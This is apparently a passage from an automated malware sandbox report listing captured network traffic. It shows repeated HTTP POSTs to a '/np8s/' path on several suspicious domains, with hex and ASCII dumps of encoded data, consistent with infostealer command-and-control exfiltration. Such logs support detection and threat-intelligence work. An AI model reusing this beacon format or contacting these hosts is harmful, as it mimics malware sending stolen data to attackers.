55 47 5f 65 31 59 6d 50 55 68 53 77 48 44 64 47 47 39 6a 6f 64 65 4a 4b 6e 6c 38 71 74 44 6f 58 47 71 74 30 58 49 77 39 54 59 6e 65 49 32 75 61 61 6a 79 68 57 68 71 33 69 4a 33 32 49 33 6b 6d 58 46 52 51 52 46 65 71 67 46 69 58 35 56 64 37 73 43 30 6a 38 42 4a 63 54 6e 36 4c 77 28 54 6a 4f 35 51 57 78 5a 75 4b 57 56 32 64 6c 32 51 7a 41 7e 63 34 45 31 68 38 55 72 47 54 73 33 6c 54 76 42 31 53 4e 6f 54 6a 55 54 47 74 45 4f 77 63 76 44 70 66 30 36 47 50 52 64 63 63 35 4e 34 4c 66 57 65 35 32 35 51 63 54 57
Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.68chengxinle.comConnection: closeContent-Length: 409Cache-Control: no-cacheOrigin: http://www.68chengxinle.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.68chengxinle.com/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 37 64 39 33 45 51 68 55 78 32 6d 4c 57 63 39 4b 5a 76 50 4b 4a 74 43 64 36 43 65 71 4d 54 35 6e 62 65 53 4d 4d 6d 7e 36 61 30 77 30 34 6f 37 71 4a 55 75 32 43 72 4f 2d 62 6c 39 52 57 47 56 76 78 4e 58 64 4e 78 7e 72 79 48 56 73 77 42 68 5a 52 76 42 53 45 4a 30 4c 6a 6c 45 53 6d 4c 67 5a 49 54 78 66 73 76 49 76 59 4c 4c 73 39 4e 35 4a 45 78 5a 69 58 6f 70 4b 6b 76 7a 4a 42 37 32 5a 59 66 7a 63 4b 39 66 39 74 31 38 75 4a 58 68 68 57 7a 79 44 42 4b 7e 42 57 49 6e 79 68 6f 73 36 49 52 56 34 75 34 43 63 36 45 58 48 6b 45 4b 54 50 45 31 67 51 33 4d 72 6f 41 50 37 6d 49 41 6e 44 79 38 77 46 35 6d 56 36 79 53 31 7a 67 4a 4e 30 63 42 67 54 38 31 4d 30 34 6f 42 39 62 38 50 53 7a 73 71 41 47 48 66 46 49 41 6c 4d 63 7a 4c 4b 36 33 70 30 69 61 6f 61 67 46 7a 31 41 4a 67 38 42 57 2d 4e 59 66 4a 6b 74 67 65 70 6e 65 72 6a 73 77 45 7a 6e 6d 76 55 66 33 34 75 39 48 76 34 45 4c 71 54 47 55 4b 6d 64 71 2d 69 47 73 76 28 4d 58 35 37 41 6a 31 6c 5f 53 66 77 34 7e 58 30 4b 45 79 43 74 50 50 43 62 57 33 37 75 64 77 4e 39 65 6d 46 52 4b 52 6f 42 64 38 28 6d 37 45 49 6b 63 6f 58 64 63 6f 46 79 67 42 28 77 51 57 62 43 7e 4d 30 55 4d 52 31 35 7e 35 32 56 72 67 6d 46 5a 77 39 49 78 51 51 6e 73 6c 52 46 63 32 61 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=7d93EQhUx2mLWc9KZvPKJtCd6CeqMT5nbeSMMm~6a0w04o7qJUu2CrO-bl9RWGVvxNXdNx~ryHVswBhZRvBSEJ0LjlESmLgZITxfsvIvYLLs9N5JExZiXopKkvzJB72ZYfzcK9f9t18uJXhhWzyDBK~BWInyhos6IRV4u4Cc6EXHkEKTPE1gQ3MroAP7mIAnDy8wF5mV6yS1zgJN0cBgT81M04oB9b8PSzsqAGHfFIAlMczLK63p0iaoagFz1AJg8BW-NYfJktgepnerjswEznmvUf34u9Hv4ELqTGUKmdq-iGsv(MX57Aj1l_Sfw4~X0KEyCtPPCbW37udwN9emFRKRoBd8(m7EIkcoXdcoFygB(wQWbC~M0UMR15~52VrgmFZw9IxQQnslRFc2aw).
Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.68chengxinle.comConnection: closeContent-Length: 36477Cache-Control: no-cacheOrigin: http://www.68chengxinle.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.68chengxinle.com/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 37 64 39 33 45 56 68 38 75 57 4b 57 61 73 35 70 65 64 76 6b 52 4e 53 6c 34 79 4b 6c 4a 52 73 6e 52 4d 71 2d 53 54 43 4c 62 33 73 75 28 59 50 4c 44 31 6e 78 43 70 57 58 54 33 4a 56 53 6d 5a 6f 78 4e 66 43 4e 78 36 72 7a 48 74 38 33 67 78 5f 52 4e 35 52 48 70 31 2d 69 6c 45 62 73 70 55 30 49 54 6c 48 73 76 51 5f 59 62 66 73 28 6f 6c 4a 4e 51 5a 70 49 59 70 45 34 2d 65 4b 63 72 36 75 59 66 4c 55 4b 5f 4c 39 74 46 34 75 47 58 52 69 51 77 71 45 4d 36 7e 4f 44 34 6e 5a 34 34 67 49 49 52 52 61 75 39 36 63 36 79 76 48 6c 58 53 54 4a 31 31 6a 61 6e 4d 75 69 67 4f 6b 69 49 63 32 44 79 77 38 46 34 6a 69 39 43 57 31 79 51 4a 4f 34 71 42 6f 43 39 31 68 32 36 49 32 39 61 42 72 52 6e 4d 35 41 44 58 5f 56 65 74 52 43 61 65 73 4b 34 61 45 35 69 61 73 4f 77 45 76 31 41 49 66 38 42 58 64 4e 62 33 4a 6b 71 45 65 70 7a 7e 72 68 75 6f 4c 38 33 6d 71 51 66 33 79 34 4e 44 58 34 45 54 45 54 44 73 67 6d 71 69 2d 68 7a 77 76 34 75 76 2d 30 51 69 2d 69 5f 53 58 75 49 7e 75 30 4b 46 52 43 73 50 6c 43 72 36 33 36 39 46 77 4e 62 4b 6d 48 68 4b 52 6e 68 64 79 30 47 33 79 49 6c 30 73 58 63 41 43 46 42 4d 42 38 6a 6f 57 66 57 69 4d 34 45 4d 52 36 5a 28 64 6c 46 6d 66 71 79 78 4c 7e 70 30 6d 46 6e 64 41 53 6d 39 4f 4b 41 69 69 39 43 6a 49 67 32 57 48 79 64 7e 73 6b 31 7a 39 34 61 31 41 7a 48 73 4f 74 32 34 43 6f 58 46 4d 77 67 49 37 48 51 6c 33 6e 54 32 47 63 4f 62 77 4c 62 6b 41 66 2d 64 65 6f 77 53 30 70 5a 61 57 73 7a 7a 75 68 55 70 52 65 5a 4a 44 76 7a 56 5f 71 59 50 61 35 4f 6a 6b 49 72 54 6a 58 31 74 34 76 78 73 32 62 6a 44 6b 70 4a 69 62 70 30 48 56 6c 33 72 62 70 77 4f 62 38 4d 76 49 57 6c 73 4c 69 62 70 70 4d 70 73 55 5a 50 61 32 28 5a 73 68 41 73 53 43 38 6b 31 46 61 5f 33 66 4b 71 44 45 44 66 4f 72 43 54 75 73 71 48 53 35 35 32 4b 72 51 56 64 4e 34 2d 34 36 64 37 32 36 42 50 43 34 4e 42 62 37 6b 51 48 50 6d 47 67 52 74 58 79 36 61 47 6c 6d 75 47 7a 33 42 6f 67 4e 34 70 4c 57 67 47 6b 7a 62 78 46 34 51 76 52 57 6a 45 4d 55 44 6d 6a 75 6f 6f 32 4f 56 4b 33 58 5a 30 73 56 74 76 63 51 4f 6f 73 4a 64 68 68 38 78 2d 5a 34 48 65 69 76 73 5f 4a 43 50 71 51 53 65 4f 71 4a 67 34 61 73 69 2d 34 74 41 56 61 75 4d 39 77 61 79 57 42 63 55 52 51 63 77 69 72 35 54 4e 7e 4f 32 67 49 35 59 7a 72 30 39 58 28 65 6c 4d 49 44 61 38 31 31 68 72 5a 57 4f 52 59 6e 7a 31 66 64 45 70 73 50 52 6b 66 69 47 74 4b 54 77 6e 47 50 48 69 30 51 4c 70 55 51 39 54 6d 46 6d 6c 34 6d 6f 65 57 67 6a 69 45 69 66 34 5a 68 44 64 6c 36 44 46 6f 51 62 63 57 79 4c 4d 34 38 39 70 54 34 4c 63 32 6c 43 5a 50 78 6f 64 28 6d 61 5f 6a 72 78 4d 36 30 54 6b 31 36 55 78 4c 4b 67 66 58 31 69 4c 56 5f 31 4c
Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.muddybootslife.comConnection: closeContent-Length: 409Cache-Control: no-cacheOrigin: http://www.muddybootslife.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.muddybootslife.com/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 32 54 44 61 55 45 6b 4d 73 4b 6e 54 31 57 74 58 38 37 36 31 49 55 56 2d 64 39 31 52 30 72 70 74 7e 47 53 71 30 4f 51 66 59 6a 6a 41 33 4f 41 66 4f 61 44 32 63 65 4c 44 56 5a 31 36 72 59 54 6c 6f 66 79 35 4e 45 7a 49 50 52 51 55 67 79 56 71 78 2d 66 68 71 66 76 49 30 32 6a 54 4b 52 62 61 39 66 44 32 33 4a 6a 6d 67 42 34 6f 52 39 52 37 6f 34 34 68 43 6c 4b 6a 36 55 51 4f 68 76 55 53 32 75 69 55 28 45 7e 68 59 45 4f 4a 42 47 58 52 44 45 6d 58 52 34 67 47 65 65 72 36 79 78 36 5a 76 4b 62 42 7e 7a 53 51 6e 79 32 5f 78 41 5a 73 43 36 6b 71 35 36 71 2d 4a 5a 43 68 6b 78 6d 6b 4f 76 62 44 6e 42 6d 30 46 37 34 6d 30 75 30 35 53 63 6c 61 39 34 55 49 76 4d 6c 76 64 47 62 30 46 68 41 79 5a 6e 4c 5a 68 5f 4c 6e 4a 6c 45 35 6f 48 45 38 79 42 69 36 55 73 6d 38 4a 79 6a 58 66 46 57 6b 78 51 6e 43 59 6e 67 67 62 61 7a 4e 53 58 4b 59 54 69 6e 48 63 6e 64 62 4f 62 61 4d 65 6a 54 6f 63 54 66 6a 4d 64 77 70 43 77 6e 71 37 74 4b 76 53 46 57 4e 4c 33 59 2d 53 6a 6b 66 36 71 71 46 30 33 4d 43 71 31 59 5f 79 61 47 58 55 30 4b 4e 49 4c 6a 78 44 73 55 32 57 67 70 2d 42 6b 68 76 48 77 54 43 56 59 4b 78 44 2d 7a 4d 45 6c 63 4d 6c 39 53 79 72 48 42 35 78 38 59 51 36 34 28 77 63 74 58 70 28 65 49 34 6e 59 4d 6c 6e 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=2TDaUEkMsKnT1WtX8761IUV-d91R0rpt~GSq0OQfYjjA3OAfOaD2ceLDVZ16rYTlofy5NEzIPRQUgyVqx-fhqfvI02jTKRba9fD23JjmgB4oR9R7o44hClKj6UQOhvUS2uiU(E~hYEOJBGXRDEmXR4gGeer6yx6ZvKbB~zSQny2_xAZsC6kq56q-JZChkxmkOvbDnBm0F74m0u05Scla94UIvMlvdGb0FhAyZnLZh_LnJlE5oHE8yBi6Usm8JyjXfFWkxQnCYnggbazNSXKYTinHcndbObaMejTocTfjMdwpCwnq7tKvSFWNL3Y-Sjkf6qqF03MCq1Y_yaGXU0KNILjxDsU2Wgp-BkhvHwTCVYKxD-zMElcMl9SyrHB5x8YQ64(wctXp(eI4nYMlnw).
Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.muddybootslife.comConnection: closeContent-Length: 36477Cache-Control: no-cacheOrigin: http://www.muddybootslife.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.muddybootslife.com/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 32 54 44 61 55 45 49 65 78 4c 62 77 37 6d 68 30 37 49 4b 66 44 46 46 38 4e 64 67 66 77 61 31 79 37 7a 32 41 36 76 68 2d 62 6d 57 66 7a 2d 64 4e 4b 64 58 75 63 62 32 5a 59 4c 42 2d 73 34 58 6d 6f 66 71 62 4e 45 6e 49 4f 51 34 45 6e 52 63 39 78 62 7a 6d 72 5f 76 65 31 32 6a 61 4f 55 79 49 39 66 48 55 33 4a 36 35 67 79 38 6f 51 62 64 37 28 76 6b 37 47 31 4b 6c 35 55 68 56 38 66 49 31 32 75 4c 53 28 42 47 68 59 30 4b 4a 48 6e 6e 53 53 33 7e 57 56 6f 67 66 50 75 72 6f 39 52 6e 71 76 4b 50 5a 7e 33 57 51 6b 45 4f 5f 79 77 35 73 57 64 51 70 74 36 71 33 59 4a 43 6f 7a 68 71 49 4f 76 33 45 6e 44 4b 4f 46 4f 59 6d 31 65 30 34 57 4e 73 35 36 70 55 54 6a 74 68 59 64 47 58 64 46 77 4d 36 5a 69 37 31 70 74 69 43 56 54 51 44 6f 44 67 47 7e 42 69 41 63 4d 6d 6e 4a 79 6a 7a 66 46 58 75 78 54 50 43 59 67 63 67 61 4b 6a 4e 62 78 7e 66 62 79 6e 43 4c 33 64 46 66 72 47 30 65 6a 4c 43 63 57 75 6b 4d 4e 4d 70 41 68 33 71 7a 76 69 6f 65 56 58 47 4d 33 5a 74 59 44 6b 4d 36 71 71 33 30 7a 59 53 70 43 41 5f 77 50 7e 58 58 58 69 4e 62 4c 6a 78 66 38 55 30 63 41 31 75 42 6b 70 72 48 78 6a 38 56 72 6d 78 43 6f 6e 4d 46 45 63 4d 69 4e 53 79 79 58 41 58 31 65 46 75 34 5a 58 45 51 50 47 4f 6d 39 6c 62 7a 73 4e 4c 35 44 67 37 53 54 77 70 55 55 6f 46 41 4c 63 71 6c 49 35 5a 6f 38 4e 78 45 34 68 72 63 30 61 70 6c 59 5a 62 37 53 74 51 39 53 77 76 61 63 75 6b 28 70 73 2d 55 76 71 50 35 61 64 70 59 66 45 4e 66 76 5a 36 6c 64 4d 6f 5a 6c 28 78 34 45 55 4d 6e 38 44 4f 4a 72 77 33 7a 67 72 5a 43 48 6a 53 53 52 70 4e 53 52 45 39 71 52 31 77 37 71 46 45 4d 58 59 79 50 2d 36 54 48 4e 72 55 43 6c 57 63 30 53 63 45 28 61 4d 75 41 75 55 49 69 6f 4f 4f 78 4d 6d 62 50 6d 75 32 55 72 5a 54 49 41 4d 31 59 4e 69 58 34 45 44 47 37 48 53 36 62 63 39 30 73 38 53 68 50 30 50 42 62 4b 6f 4a 6f 6d 54 6f 36 76 39 46 78 6c 6c 66 4e 57 31 42 30 55 61 72 58 30 34 59 61 6e 7a 4e 39 57 7a 37 52 72 56 4f 59 30 68 68 77 36 74 46 79 6f 50 44 4b 45 4e 62 4c 65 75 59 47 5a 72 47 47 75 58 42 7e 4f 76 49 48 68 6d 75 54 4a 36 5a 6e 7a 44 57 67 73 6a 32 6f 6c 62 50 4d 47 54 4e 75 74 6b 6d 6c 42 58 33 67 42 42 52 56 4f 39 67 42 45 67 6a 37 70 4b 71 74 46 57 30 33 2d 34 33 63 70 57 2d 70 77 45 4a 63 33 58 59 64 44 53 46 7a 5a 32 47 6b 53 6f 76 43 44 65 48 74 65 6d 56 39 4a 30 5a 61 6c 41 6b 37 4e 6d 37 63 6c 43 62 79 48 73 76 6d 65 5a 47 47 45 77 42 30 39 42 31 38 71 37 33 6d 30 57 48 69 6d 4d 6c 71 4d 39 70 30 57 41 50 41 68 49 79 75 46 50 44 53 43 50 4f 4c 70 4b 7a 73 57 65 45 34 6b 43 74 69 54 51 4c 4f 4b 72 5f 5a 37 48 62 65 50 39 59 79 35 75 49 4f 74 36 5a 69 4d 73 74 51 4c 34 4c 28 31 61 77
Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.84866.xyzConnection: closeContent-Length: 409Cache-Control: no-cacheOrigin: http://www.84866.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.84866.xyz/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 45 4e 4a 2d 57 51 48 51 4a 48 42 43 28 31 39 6e 55 34 66 69 76 50 4d 42 45 30 50 56 32 61 7a 4c 34 5f 47 4a 4f 42 47 65 53 4a 6f 6b 71 53 36 42 64 2d 7a 54 50 4f 45 5f 30 6f 67 4e 56 69 76 31 44 32 52 43 5a 67 55 46 34 67 76 31 52 71 47 31 6b 54 56 53 68 77 53 79 44 58 6d 32 76 56 67 5f 6c 5f 35 53 57 6b 58 6a 68 62 73 6f 7e 52 54 6d 47 44 4a 56 75 4d 48 68 7e 6a 36 6e 65 2d 34 64 47 4c 49 36 62 54 4a 42 52 69 61 5f 41 5a 68 78 64 6a 54 68 73 58 53 61 34 61 4f 56 46 62 68 70 78 44 52 58 61 56 28 39 4f 68 7e 76 62 47 43 46 31 50 6d 68 78 56 6a 6b 4c 4b 4a 45 6f 68 77 32 75 56 73 78 6a 57 6a 56 67 79 30 6d 46 6a 61 49 44 6c 6c 48 6f 32 42 33 31 69 4f 44 6a 50 62 38 69 38 53 49 47 48 4e 51 58 55 69 54 75 43 78 53 46 30 46 73 46 77 44 74 6d 39 48 68 75 52 62 6b 55 59 6d 53 47 6e 36 65 69 32 55 31 69 73 57 38 78 41 41 5a 74 50 4a 73 48 39 64 41 30 48 6f 6d 7e 6a 34 45 37 54 6f 72 62 2d 37 6a 73 74 69 75 30 4f 7a 55 64 79 6d 53 64 74 6a 7a 4b 66 32 32 6f 39 44 44 51 4f 35 4f 35 53 68 58 58 4d 43 31 35 51 41 72 51 67 45 4e 74 34 56 66 6e 58 30 46 65 7a 52 59 62 38 37 54 4f 52 72 48 6c 76 28 4f 31 4c 77 2d 62 38 75 48 38 52 4f 62 59 6b 6c 35 59 4a 72 50 70 44 51 48 41 43 72 37 6c 45 4a 44 31 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=ENJ-WQHQJHBC(19nU4fivPMBE0PV2azL4_GJOBGeSJokqS6Bd-zTPOE_0ogNViv1D2RCZgUF4gv1RqG1kTVShwSyDXm2vVg_l_5SWkXjhbso~RTmGDJVuMHh~j6ne-4dGLI6bTJBRia_AZhxdjThsXSa4aOVFbhpxDRXaV(9Oh~vbGCF1PmhxVjkLKJEohw2uVsxjWjVgy0mFjaIDllHo2B31iODjPb8i8SIGHNQXUiTuCxSF0FsFwDtm9HhuRbkUYmSGn6ei2U1isW8xAAZtPJsH9dA0Hom~j4E7Torb-7jstiu0OzUdymSdtjzKf22o9DDQO5O5ShXXMC15QArQgENt4VfnX0FezRYb87TORrHlv(O1Lw-b8uH8RObYkl5YJrPpDQHACr7lEJD1g).
Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.84866.xyzConnection: closeContent-Length: 36477Cache-Control: no-cacheOrigin: http://www.84866.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.84866.xyz/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 45 4e 4a 2d 57 53 44 38 55 48 74 62 7a 46 78 45 58 4b 76 32 67 65 38 44 44 45 4c 73 6f 4f 72 55 72 39 7a 34 41 67 33 75 54 4d 4e 67 38 69 6d 73 66 4a 7e 4d 50 50 30 53 67 74 51 42 66 53 7a 30 44 79 30 49 5a 67 41 46 35 68 48 6c 52 4e 4c 67 6c 77 39 64 68 51 53 4b 43 58 6d 7a 72 51 34 65 6c 5f 4e 6b 57 6b 66 7a 68 4b 51 6f 34 7a 72 6d 52 55 64 65 6a 4d 47 6f 39 6a 71 37 52 65 38 36 47 50 64 76 62 58 42 42 52 53 6d 5f 42 35 39 77 4d 79 54 6d 6c 6e 53 54 39 61 4f 2d 4d 37 74 62 78 43 6c 31 61 51 48 39 4f 54 4b 76 59 79 32 46 79 34 79 69 37 46 6a 6c 41 71 4a 46 73 68 4e 6f 75 56 67 39 6a 58 6d 69 67 44 41 6d 55 44 61 4e 55 69 35 2d 69 48 42 5a 33 69 71 30 6a 50 47 6f 6c 74 4f 41 47 47 68 34 55 6c 79 6f 68 41 49 33 46 33 70 43 48 51 44 70 68 4e 48 2d 75 52 61 5a 55 59 6d 73 47 6e 71 65 69 78 67 31 6a 38 47 38 6d 57 73 65 68 66 49 6d 57 74 64 43 6a 33 6c 31 7e 6a 67 36 37 57 68 30 62 4a 4c 6a 74 39 65 75 32 73 72 58 56 69 6e 5a 63 74 6a 72 45 5f 32 35 6f 39 44 74 51 4e 68 65 35 6c 4a 58 56 64 43 31 37 44 34 72 57 51 45 4e 30 49 56 6e 6f 33 34 56 65 33 30 52 62 35 66 70 4f 41 6a 48 69 35 7a 4f 31 71 77 2d 63 4d 75 48 33 78 50 66 54 57 34 58 54 35 6e 50 69 43 78 69 57 57 4f 73 6d 67 41 6b 72 46 75 38 54 46 55 35 4f 68 41 36 4f 44 6e 32 73 67 55 64 45 6f 51 32 73 73 30 68 75 42 42 47 32 31 51 57 73 68 37 6b 7e 45 43 36 44 4d 73 76 7a 32 75 48 4f 39 45 4e 68 38 4f 56 4b 30 36 68 32 55 63 38 4c 59 43 6f 75 66 32 33 78 52 33 45 48 6d 65 34 4f 33 47 57 36 58 6a 45 59 4e 5a 34 5a 42 66 4d 52 42 32 42 6b 38 4e 5a 31 4b 28 67 30 6f 46 7a 37 39 48 68 65 30 39 66 37 41 33 38 66 36 31 76 50 53 54 64 59 57 6e 41 4a 74 33 42 4e 66 54 5a 35 67 69 57 57 54 68 75 79 69 76 4c 77 4a 69 7a 6c 37 77 30 73 78 32 55 55 72 75 39 67 67 74 59 59 44 53 46 56 43 6a 78 48 44 65 42 36 42 4a 41 46 51 6a 49 72 6e 38 5f 4f 4c 71 64 66 58 74 67 48 62 42 39 35 48 74 4a 51 34 54 42 4c 39 4a 43 54 7a 70 35 56 74 4a 42 49 4e 37 4a 66 4d 59 74 54 41 47 38 74 63 6e 35 63 77 42 30 70 73 62 53 64 4a 6c 6f 28 35 62 71 44 36 7e 6c 79 43 28 55 37 51 49 53 6f 45 67 55 31 5f 39 37 45 37 71 44 45 31 37 38 39 53 41 69 57 32 67 5a 61 31 64 71 72 6e 77 65 43 36 49 76 44 41 7e 4e 75 41 42 43 37 72 44 47 32 59 36 59 51 50 48 31 4a 63 4a 30 52 4e 42 33 66 6e 58 46 62 42 47 73 55 78 6f 36 46 65 33 64 74 53 61 5f 50 73 4a 52 67 30 36 48 5a 39 6b 5a 67 46 4d 6c 5a 63 47 37 31 69 61 4f 33 7a 66 74 57 68 38 4f 6c 57 69 46 69 4a 38 70 41 68 4e 4a 72 63 4b 2d 6f 41 67 77 38 32 61 39 46 4e 57 77 37 45 47 68 49 47 64 6a 42 55 4c 65 49 44 4b 35 6c 34 51 57 4c 62 62 30 6e 79 63 61 46 64 78 5a 73 42 36 64 6a 57 68 2d 55
Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.localbloom.onlineConnection: closeContent-Length: 409Cache-Control: no-cacheOrigin: http://www.localbloom.onlineUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.localbloom.online/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 68 62 51 6a 45 64 37 4f 55 73 31 78 6c 61 46 55 36 51 47 50 31 73 33 44 33 6f 39 35 66 51 5a 58 33 30 42 61 73 6c 52 6c 74 6f 63 45 41 68 31 75 4d 67 6f 45 50 46 55 61 4f 4b 4d 63 6b 6a 4e 79 44 6b 7e 62 44 79 68 4f 66 59 51 73 46 65 52 36 78 57 55 33 43 52 39 57 46 51 68 75 67 6a 48 37 6b 68 36 55 62 74 78 5a 54 32 52 67 4c 51 75 63 59 53 4f 58 4a 35 55 75 46 58 69 6a 28 67 61 63 73 4c 59 4a 4a 49 59 36 4e 55 34 4f 54 74 6c 53 39 35 77 70 36 69 55 67 64 4d 6c 77 4b 46 64 77 79 73 63 50 4c 50 4f 39 38 5f 50 67 70 61 33 56 59 67 57 6d 5a 6c 46 41 6f 4f 78 76 28 6c 6a 4b 36 38 51 4b 6a 5f 54 78 43 66 49 65 61 42 71 6c 66 55 59 56 35 38 54 4b 47 43 30 4d 6f 52 71 49 53 70 72 56 36 46 54 77 42 57 69 44 35 38 42 4f 44 61 43 4d 7e 6c 68 45 6f 63 45 7a 46 66 7a 43 54 63 58 66 6c 4e 4f 71 34 4e 61 74 7a 44 51 48 43 43 73 41 72 44 34 30 49 34 6a 6c 65 56 66 58 79 37 58 53 7a 33 4a 72 74 4e 57 33 57 61 54 39 76 59 69 78 72 48 31 73 4d 44 36 7a 6a 45 56 59 54 51 6c 51 37 63 4b 47 49 6f 67 68 64 67 4b 4d 6b 41 68 4c 6c 51 6c 69 72 34 49 71 7e 30 30 66 4e 41 43 63 71 37 28 42 78 6c 56 4e 43 33 32 49 34 71 6f 55 75 74 44 68 6b 51 36 62 4d 7a 66 78 4c 65 44 46 43 35 67 79 70 42 6c 57 53 4c 44 38 70 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=hbQjEd7OUs1xlaFU6QGP1s3D3o95fQZX30BaslRltocEAh1uMgoEPFUaOKMckjNyDk~bDyhOfYQsFeR6xWU3CR9WFQhugjH7kh6UbtxZT2RgLQucYSOXJ5UuFXij(gacsLYJJIY6NU4OTtlS95wp6iUgdMlwKFdwyscPLPO98_Pgpa3VYgWmZlFAoOxv(ljK68QKj_TxCfIeaBqlfUYV58TKGC0MoRqISprV6FTwBWiD58BODaCM~lhEocEzFfzCTcXflNOq4NatzDQHCCsArD40I4jleVfXy7XSz3JrtNW3WaT9vYixrH1sMD6zjEVYTQlQ7cKGIoghdgKMkAhLlQlir4Iq~00fNACcq7(BxlVNC32I4qoUutDhkQ6bMzfxLeDFC5gypBlWSLD8pw).
Source: global traffic	HTTP traffic detected: POST /np8s/ HTTP/1.1Host: www.localbloom.onlineConnection: closeContent-Length: 36477Cache-Control: no-cacheOrigin: http://www.localbloom.onlineUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.localbloom.online/np8s/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 7a 56 42 3d 68 62 51 6a 45 59 54 69 62 5f 78 73 37 61 4a 6e 33 46 53 62 36 38 6e 37 31 59 34 6f 54 79 74 55 6d 32 70 4f 69 46 67 56 73 70 6b 6b 48 53 42 50 49 6e 6c 52 50 42 5a 2d 4b 5f 6b 59 33 54 42 7a 44 6b 33 36 44 79 6c 4f 65 59 49 61 46 2d 68 45 79 31 73 30 45 78 39 6d 45 51 68 4e 6b 6e 48 47 6b 68 75 36 62 74 35 7a 54 6d 64 67 4e 7a 47 63 4d 68 6d 63 55 4a 55 6b 5a 48 79 5f 69 77 47 72 73 4c 51 72 4a 49 6b 36 4f 6b 30 4f 56 4e 31 64 32 61 59 6d 39 79 55 68 58 73 6c 70 54 56 67 4a 79 73 49 74 4c 4f 79 39 39 4e 62 67 34 61 58 56 61 52 57 6e 57 31 46 5a 73 4f 78 75 37 6c 28 62 36 38 4d 4f 6a 37 71 47 43 4f 38 65 49 68 71 67 59 47 35 71 71 37 48 5a 45 43 42 63 6f 52 6d 74 63 64 79 54 36 42 43 72 58 54 76 37 37 65 70 77 44 59 75 6d 79 6c 68 41 39 73 46 6e 46 66 79 5f 54 63 58 68 6c 4e 65 71 34 4c 61 74 7a 58 38 48 45 48 34 42 30 6a 34 78 4d 34 6a 33 61 56 6a 76 79 36 28 6f 7a 32 6c 37 71 36 6d 33 58 50 37 39 6e 62 4b 79 77 48 30 70 42 6a 36 52 7e 30 55 50 54 51 6c 32 37 64 4b 6f 49 2d 6b 68 50 46 6d 4d 6a 6d 56 4c 70 41 6c 69 6b 59 49 73 72 45 34 50 4e 41 61 59 71 37 50 72 78 57 35 4e 42 6c 7e 49 37 4c 6f 55 39 4e 44 68 6f 77 37 5a 66 6a 7a 31 4f 38 37 44 42 5a 56 4e 30 67 30 41 55 34 4f 79 35 6d 30 67 71 48 30 47 4b 57 50 51 37 77 6f 37 4f 4b 45 62 79 49 28 36 4e 41 4e 6d 6d 57 68 41 71 49 37 56 55 47 76 78 4a 6d 76 55 54 58 39 42 72 79 63 47 56 39 34 65 37 6c 45 44 49 69 37 5a 64 44 76 59 43 41 52 39 39 4f 4f 2d 61 75 7e 47 6b 68 63 77 5a 32 6e 5a 57 34 43 32 52 78 41 44 68 65 4e 66 38 31 76 70 69 61 52 78 52 42 53 72 58 6c 66 68 73 6e 39 53 47 37 32 74 51 35 33 36 6b 50 6b 68 36 6b 73 59 7a 2d 30 48 43 45 55 4c 63 52 48 6f 7a 6a 58 63 4d 45 6f 75 70 36 48 4d 72 44 71 59 6c 4e 49 6c 51 38 63 43 6d 32 51 44 4b 52 47 66 74 6e 62 63 6e 4b 32 55 67 6a 47 70 4e 33 4d 37 6d 42 38 4f 77 53 64 7a 30 69 46 73 4a 70 70 6f 64 45 47 4a 6a 69 36 4a 64 43 4e 6e 70 7a 71 69 62 66 4f 4f 53 67 69 33 56 54 68 37 6f 76 4e 4b 68 5f 73 42 66 34 33 6e 4e 4d 35 34 4b 38 75 66 61 44 41 6d 73 64 62 62 31 57 36 54 53 67 6f 4d 71 75 64 66 28 77 59 2d 6a 72 48 65 4b 33 6a 6c 57 6e 65 39 74 2d 45 77 30 58 66 53 74 4b 61 70 6c 34 4b 6b 4d 59 76 69 43 5f 7e 75 72 45 64 48 63 71 56 44 6b 4b 4f 56 4f 6d 42 41 54 47 4c 37 59 30 35 68 61 77 5a 55 32 74 61 38 6d 4f 50 58 4f 58 47 64 67 33 46 4e 49 